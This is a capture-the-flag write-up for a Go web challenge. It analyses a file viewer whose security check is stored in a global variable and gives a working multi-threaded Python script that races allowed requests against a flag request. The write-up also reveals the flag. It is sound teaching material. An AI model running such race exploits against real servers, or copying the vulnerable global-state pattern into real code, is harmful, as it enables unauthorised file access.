5.4 KiB
Shared State of Mind
Welcome to the write-up for Shared State of Mind. This challenge is a "web" challenge that dives into the dangerous waters of concurrency in Go. It demonstrates why global state in a concurrent environment (like a web server) is a recipe for disaster.
We are presented with a "High-Performance File Viewer" that claims to have stripped out "bloatware" like mutex locks. Our goal is to read the flag.txt file, which is protected by a security check.
1. Initial Reconnaissance
The challenge provides a URL and a downloadable archive shared_state_of_mind.tar.xz.
Connecting to the URL gives us a file viewer interface (or API). We can request files using ?file=....
If we try ?file=worker.go, we get the source code.
If we try ?file=flag.txt, we get:
Security Check Failed: Forbidden
2. Source Code Analysis
The archive contains two key Go files: gateway.go and worker.go.
gateway.go:
This acts as a load balancer/proxy. It assigns each user a unique session and spawns a dedicated ./worker process for that user. This means our requests are going to a specific instance of the worker application that is assigned just to us.
worker.go:
This is where the vulnerability lies. Let's look at how it handles requests:
// GLOBAL VARIABLE
var checkPassed bool
func handler(w http.ResponseWriter, r *http.Request) {
filename := r.URL.Query().Get("file")
// 1. Security Check
if strings.Contains(filename, "flag") {
checkPassed = false
} else {
checkPassed = true
}
// 2. Logging (simulates delay)
logAccess(filename)
// 3. Serve File
if checkPassed {
content, _ := ioutil.ReadFile(filename)
w.Write(content)
} else {
http.Error(w, "Forbidden", 403)
}
}
3. The Vulnerability: Race Condition
The variable checkPassed is defined as a global variable at the package level.
In Go, http.ListenAndServe creates a new goroutine for every incoming request. This means that if multiple requests come in simultaneously, they all share access to the same checkPassed variable.
This creates a Race Condition (specifically a Time-of-Check to Time-of-Use issue):
- Request A (Safe) comes in for
worker.go. It setscheckPassed = true. - Request B (Malicious) comes in for
flag.txt. It setscheckPassed = false. - Request A pauses slightly (e.g., during
logAccessor context switching). - Request B pauses slightly.
- Request A resumes and potentially overwrites
checkPassedback totrueafter Request B had set it to false, but before Request B performs its final check.
If we time it right, Request B (requesting the flag) will reach the line if checkPassed at the exact moment that Request A has set the global variable to true.
4. Exploitation strategy
To exploit this, we need to flood the server with two types of requests simultaneously using the same session cookie (so they hit the same worker process):
- Safe Requests: Repeatedly ask for a allowed file (e.g.,
?file=worker.go). This constantly attempts to setcheckPassed = true. - Malicious Requests: Repeatedly ask for
?file=flag.txt. This attempts to read the flag.
We can use a simple Python script with multiple threads to achieve this.
Exploit Script
import threading
import requests
import sys
import time
# --- TARGET CONFIGURATION ---
TARGET_URL = "http://challenge-url:1320/"
print("[*] Initializing Session...")
s = requests.Session()
try:
s.get(TARGET_URL)
except requests.exceptions.ConnectionError:
print(f"[-] Could not connect to {TARGET_URL}. Is the docker container running?")
sys.exit(1)
if 'ctf_session' not in s.cookies:
print("[-] Failed to get session cookie")
sys.exit(1)
print(f"[+] Session ID: {s.cookies['ctf_session']}")
cookie = {'ctf_session': s.cookies['ctf_session']}
def do_safe():
while True:
try:
requests.get(TARGET_URL + "?file=worker.go", cookies=cookie)
except:
pass
def do_exploit():
while True:
try:
r = requests.get(TARGET_URL + "?file=flag.txt", cookies=cookie)
if "{flag: " in r.text:
print(f"\n\n[SUCCESS] Flag Found: {r.text}\n")
sys.exit(0)
except:
pass
print("[*] Starting threads... (Press Ctrl+C to stop)")
# High volume of safe threads to flip the switch
for i in range(10):
t = threading.Thread(target=do_safe)
t.daemon = True
t.start()
# Exploit thread
for i in range(1):
t = threading.Thread(target=do_exploit)
t.daemon = True
t.start()
while True:
time.sleep(1)
5. The Solution
Running the exploit script against the target causes a race condition. Within a few seconds, one of the malicious requests will "win" the race—slipping through the check because a concurrent safe request flipped the global switch to true.
Flag: {flag: D0nt_Sh4r3_M3m0ry_Just_P4ss_Th3_Fl4g}
Lessons Learned
- Avoid Global State: Never use global variables to store request-specific data in a web server. Use local variables or pass data through the function context.
- Concurrency is Hard: Just because code looks sequential doesn't mean it executes sequentially relative to other requests.
- Thread Safety: If you must use shared state, always protect it with synchronization primitives like Mutexes, or better yet, use Go's channels to communicate safely.
Happy Hacking!